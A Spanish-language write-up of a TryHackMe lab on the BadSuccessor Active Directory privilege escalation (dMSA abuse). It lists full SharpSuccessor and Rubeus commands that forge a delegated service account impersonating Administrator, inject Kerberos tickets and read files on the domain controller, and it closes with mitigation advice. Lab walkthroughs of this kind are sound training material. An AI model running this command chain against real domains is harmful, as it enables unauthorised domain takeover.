Active-Directory-BadSuccessor

Resumen

En esta sala, exploramos la técnica de escalada de privilegios BadSuccessor, una vulnerabilidad que abusa de las Cuentas de Servicio Administradas Delegadas (dMSA) en Active Directory. El ataque permite a un usuario con suficiente control sobre un objeto dMSA suplantar a otra cuenta y potencialmente alcanzar privilegios de Administrador de Dominio.

Información de la Sala

Sala: https://tryhackme.com/room/adbadsuccessor

Dificultad: Media

Fecha: 05/06/2026

Versión: 1.0

Objetivo: Demostrar cómo las Cuentas de Servicio Administradas Delegadas pueden ser abusadas para escalar privilegios y comprometer un entorno de Active Directory.

Rol: Terry Byte (tbyte)

Meta: Evaluar la seguridad de un entorno de Active Directory recién implementado y determinar si es vulnerable al ataque BadSuccessor.

Ruta de Ataque

El ataque consta de dos fases principales:

1. Reconocimiento.
2. Escalada de Privilegios mediante Abuso de dMSA

Reconocimiento

Paso 1 - Conectar a la Máquina Objetivo

• Conéctese a la estación de trabajo Windows proporcionada usando RDP:

xfreerdp /v:10.211.101.20 /u:tbyte /p:P\@SSw0rd345 /dynamic-resolution

• Después de la autenticación, abra PowerShell.

Paso 2 - Navegar al Directorio de Trabajo

• Muévase al directorio de Prueba de Concepto:

  root@kitploit:~

  cd C:\PoC
  

• Verifique el contenido: dir

Paso 3 - Obtener el Script de Enumeración

• Descargue el script de PowerShell del repositorio BadSuccessor de Akamai:

https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1

• Cree o edite el script usando el Bloc de Notas:

notepad Get-BadSuccessorOUPermissions.ps1

• Pegue el contenido y guarde el archivo.

Paso 4 - Enumerar Permisos de OU

• Ejecute el script:

 .\Get-BadSuccessorOUPermissions.ps1

• La salida revela cuentas con permisos que potencialmente pueden abusar de las Cuentas de Servicio Administradas Delegadas.
• Identifique la tercera cuenta devuelta por el script.
• Esta cuenta se utilizará durante la fase de escalada de privilegios.

Explotación Usando Windows

Paso 1 - Crear un dMSA Malicioso

• Use SharpSuccessor para crear una Cuenta de Servicio Administrada Delegada que suplante la cuenta de Administrador:

  root@kitploit:~

  .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
  

  

¿Qué Sucede?

• La herramienta crea un nuevo objeto dMSA y lo configura para suceder a la cuenta de Administrador.
• Esto establece la base para la escalada de privilegios.

Paso 2 - Solicitar un TGT de Kerberos

• Use Rubeus para obtener un Ticket de Concesión de Tickets (TGT) delegado:

  root@kitploit:~

  .\Rubeus.exe tgtdeleg /nowrap
  

  

• El comando devuelve un ticket Kerberos codificado en Base64.

• Copie el ticket generado.

Paso 3 - Suplantar la Cuenta dMSA

• Use el TGT delegado para solicitar un ticket como la cuenta dMSA recién creada:

 .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>

Resultado:

Se inyecta un nuevo ticket Kerberos en la memoria para la cuenta dMSA.

Paso 4 - Solicitar un Ticket de Servicio como Administrador

• Aproveche el ticket dMSA para obtener acceso a servicios que se ejecutan bajo el contexto de Administrador:

  root@kitploit:~

  .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>
  

  

Resultado:

• Se carga un ticket de servicio CIFS en la memoria.
• Este ticket proporciona acceso a recursos que normalmente requerirían privilegios de Administrador de Dominio.

Paso 5 - Acceder al Escritorio del Administrador

• Verifique el acceso elevado explorando el perfil del Administrador en el Controlador de Dominio:

 dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\

• Un listado de directorio exitoso confirma el acceso a nivel administrativo.

Paso 6 - Capturar la Bandera

• Lea la bandera almacenada en el escritorio del Administrador:

  root@kitploit:~

  Get-Content \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\flag.txt
  

  

• Bandera obtenida exitosamente.

Por Qué BadSuccessor es Importante

BadSuccessor demuestra cómo las Cuentas de Servicio Administradas Delegadas pueden introducir rutas de escalada de privilegios en entornos Active Directory. Active Directory sirve como la base de identidad para muchas organizaciones; las vulnerabilidades que afectan a Kerberos y la delegación de cuentas pueden tener consecuencias graves.

Un atacante con permisos suficientes sobre un objeto dMSA puede:

• Suplantar usuarios privilegiados
• Obtener tickets Kerberos elevados
• Acceder a recursos sensibles
• Escalar privilegios a Administrador de Dominio
• Potencialmente comprometer todo el bosque de Active Directory

Recomendaciones de Mitigación

Para mitigar BadSuccessor (CVE-2025-53779), las organizaciones deben aplicar rápidamente las actualizaciones de seguridad de Microsoft, restringir y revisar los permisos de dMSA, monitorear la actividad sospechosa de Kerberos, auditar las relaciones de delegación y aplicar el principio de mínimo privilegio. Las revisiones periódicas de la configuración de delegación de Active Directory pueden ayudar a identificar y reducir posibles rutas de escalada de privilegios.

Conclusiones Clave

Esta sala proporcionó una valiosa experiencia práctica con:

• Escalada de privilegios en Active Directory
• Cuentas de Servicio Administradas Delegadas (dMSAs)
• Abuso de autenticación Kerberos
• Operaciones de tickets con Rubeus
• Explotación con SharpSuccessor
• Técnicas de validación post-explotación